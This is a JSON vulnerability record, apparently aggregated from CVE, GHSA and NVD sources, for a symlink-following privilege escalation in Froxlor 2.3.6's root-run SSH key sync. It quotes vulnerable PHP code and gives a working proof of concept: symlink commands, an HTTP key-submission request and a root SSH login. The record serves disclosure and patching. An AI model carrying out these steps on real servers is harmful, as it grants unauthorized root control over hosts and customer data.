{"id":"CVE-2026-41236","aliases":["CVE-2026-41236","GHSA-mq5v-pxpm-8jw2"],"related":[],"kind":"vulnerability","state":"published","title":"Froxlor has privilege escalation in SSH key synchronization via symlinked `authorized_keys` path","summary":"Froxlor is open source server administration software. Version 2.3.6 contains a symlink-following flaw in the root-owned SSH key synchronization path used for customer FTP users. The provisioning code appends public keys to `~/.ssh/authorized_keys` under a customer-controlled home directory without verifying that the target path is not a symbolic link. If an attacker controls a shell-enabled customer account and can modify files inside the assigned home directory, the attacker can replace `~/.ssh/authorized_keys` with a symlink to `/root/.ssh/authorized_keys`. When Froxlor's privileged cron task later synchronizes SSH keys, it appends the attacker-supplied key into root's authorized key file, resulting in root SSH access. Version 2.3.7 contains a patch.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Froxlor is open source server administration software. Version 2.3.6 contains a symlink-following flaw in the root-owned SSH key synchronization path used for customer FTP users. The provisioning code appends public keys to `~/.ssh/authorized_keys` under a customer-controlled home directory without verifying that the target path is not a symbolic link. If an attacker controls a shell-enabled customer account and can modify files inside the assigned home directory, the attacker can replace `~/.ssh/authorized_keys` with a symlink to `/root/.ssh/authorized_keys`. When Froxlor's privileged cron task later synchronizes SSH keys, it appends the attacker-supplied key into root's authorized key file, resulting in root SSH access. Version 2.3.7 contains a patch.","source":"cvelist"},{"lang":"en","text":"### Summary\nFroxlor 2.3.6 contains a symlink-following flaw in the root-owned SSH key synchronization path used for customer FTP users. The provisioning code appends public keys to `~/.ssh/authorized_keys` under a customer-controlled home directory without verifying that the target path is not a symbolic link.\n\nIf an attacker controls a shell-enabled customer account and can modify files inside the assigned home directory, the attacker can replace `~/.ssh/authorized_keys` with a symlink to `/root/.ssh/authorized_keys`. When Froxlor's privileged cron task later synchronizes SSH keys, it appends the attacker-supplied key into root's authorized key file, resulting in root SSH access.\n\n### Details\nThe customer-facing SSH key workflow accepts an FTP user selection and an arbitrary public key from the authenticated session and forwards them into `SshKeys::add()`:\n\n```php\n// customer_ftp.php:251-253\nif ($action == 'add' && Request::post('send') == 'send') {\n    $result = $log->logAction(USR_ACTION, LOG_INFO, \"added SSH-key\");\n    Commands::get()->apiCall('SshKeys.add', Request::postAll());\n}\n```\n\nOn the server side, the add handler stores the public key and schedules an NSS rebuild as long as the customer has shell capability enabled at the customer level:\n\n```php\n// lib/Froxlor/Api/Commands/SshKeys.php:67-70,120-145\nif ($this->getUserDetail('shell_allowed') != '1') {\n    throw new Exception(\"You cannot add SSH keys because shell access is disabled for your account.\");\n}\n\n$ins_stmt = Database::prepare(\"\n    INSERT INTO `\" . TABLE_PANEL_CUSTOMERS_SSH .\"`.\n\");\nSettings::AddTask('rebuildnssusers');\n```\n\nLater, a root-owned cron path enters `SshKeys::generateFiles()` and derives the target path by simple string concatenation:\n\n```php\n// lib/Froxlor/Cron/System/SshKeys.php:52-64\n$sshdir = FileDir::makeCorrectDir($userinfo['homedir'] . '/.ssh');\n$authkeysfile = FileDir::makeCorrectFile($sshdir . '/authorized_keys');\nif (!file_exists($authkeysfile)) {\n    touch($authkeysfile);\n}\n```\n\nThe helper used here only normalizes the path string and does not resolve or reject symlinks:\n\n```php\n// lib/Froxlor/FileDir.php:376-392\npublic static function makeCorrectFile(string $file): string\n{\n    $file = str_replace('//', '/', $file);\n    $file = str_replace('\\\\', '', $file);\n    return $file;\n}\n```\n\nThe root-owned sync code then appends attacker-controlled SSH key material to the derived path:\n\n```php\n// lib/Froxlor/Cron/System/SshKeys.php:94-103\nfile_put_contents($authkeysfile, $userinfo['ssh-rsa'] . \"\\n\", FILE_APPEND | LOCK_EX);\nchown($authkeysfile, $userinfo['uid']);\nchgrp($authkeysfile, $userinfo['gid']);\n```\n\nBecause Froxlor also grants the customer ownership of the home directory tree during account provisioning, the attacker can place a symbolic link at `~/.ssh/authorized_keys` before the privileged synchronization step runs.\n\n\n### PoC\nAn attacker needs an authenticated customer account with shell-enabled home-directory control. That prerequisite may exist by normal configuration, or it may be obtained first through the separate FTP shell-assignment authorization bypass described in the companion report.\n\nRelevant runtime prerequisites:\n\n- the attacker controls a customer-owned home directory on the target host\n- the attacking customer has `shell_allowed=1`\n- the attacker can submit SSH keys through the Froxlor panel\n- Froxlor's master cron runs with the intended root privileges\n\nComplete PoC flow:\n\n1. Obtain shell access as the customer-owned account and prepare a symlink in the home directory:\n\n```bash\nmkdir -p ~/.ssh\nrm -f ~/.ssh/authorized_keys\nln -s /root/.ssh/authorized_keys ~/.ssh/authorized_keys\n```\n\n2. From an authenticated Froxlor customer session, submit a new SSH public key for the relevant FTP user:\n\n```http\nPOST /customer_ftp.php?page=sshkeys&action=add HTTP/1.1\nHost: target.example\nContent-Type: application/x-www-form-urlencoded\nCookie: <authenticated customer session>\n\ncsrf_token=VALID_CSRF_TOKEN&\nsend=send&\ndescription=poc&\nftpuser=17&\nssh_pubkey=ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB attacker@host\n```\n\n3. Wait for Froxlor's master cron to process the queued `REBUILD_NSSUSERS` task.\n4. Use the corresponding private key to authenticate as root:\n\n```bash\nssh -i id_ed25519 root@target.example\n```\n\nResult:\n\n- the root-owned cron task follows the symlinked `authorized_keys` path\n- the submitted public key is appended to `/root/.ssh/authorized_keys`\n- SSH access as `root` succeeds with the attacker's key pair\n\n### Impact\nThis is a direct customer-to-root privilege escalation on the managed host. A successful attacker can obtain full operating-system control, read or modify all hosted customer data, persist at the highest privilege level, and tamper with every service administered by the server.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Froxlor es un software de administración de servidores de código abierto. La versión 2.3.6 contiene una falla de seguimiento de enlaces simbólicos en la ruta de sincronización de claves SSH propiedad de root utilizada para usuarios FTP de clientes. El código de aprovisionamiento añade claves públicas a ~/.ssh/authorized_keys en un directorio de inicio controlado por el cliente sin verificar que la ruta de destino no sea un enlace simbólico. Si un atacante controla una cuenta de cliente con acceso a shell y puede modificar archivos dentro del directorio de inicio asignado, el atacante puede reemplazar ~/.ssh/authorized_keys con un enlace simbólico a /root/.ssh/authorized_keys. Cuando la tarea cron privilegiada de Froxlor sincroniza posteriormente las claves SSH, añade la clave proporcionada por el atacante al archivo de claves autorizadas de root, lo que resulta en acceso SSH como root. La versión 2.3.7 contiene un parche.","source":"nvd"}],"published":"2026-05-29T15:40:23.000Z","modified":"2026-09-10T03:51:06.498Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"}],"cwes":["CWE-59"],"affected":[{"ranges":[{"version":"= 2.3.6","status":"affected"}],"vendor":"froxlor","product":"froxlor","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"2.3.6","status":"affected","fixed":"2.3.7"}],"ecosystem":"Packagist","package":"froxlor/froxlor","purl":"pkg:composer/froxlor/froxlor","source":"ghsa"}],"references":[{"url":"https://github.com/froxlor/froxlor/security/advisories/GHSA-mq5v-pxpm-8jw2","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/froxlor/froxlor/releases/tag/2.3.7","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41236","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/froxlor/froxlor","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-06-08T14:31:23.498Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-41236","url":"https://www.cve.org/CVERecord?id=CVE-2026-41236","licence":"CVE Terms of Use","modified":"2026-06-08T14:32:22.356Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-mq5v-pxpm-8jw2","url":"https://github.com/advisories/GHSA-mq5v-pxpm-8jw2","licence":"CC-BY-4.0","modified":"2026-09-10T03:51:06.498Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-41236","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41236","licence":"Public domain","modified":"2026-07-22T20:10:00.127Z"}],"updatedAt":"2026-11-25T22:59:23.722Z","epss":{"score":0.00366,"percentile":0.32476,"date":"2026-12-02T12:00:21.000Z"}}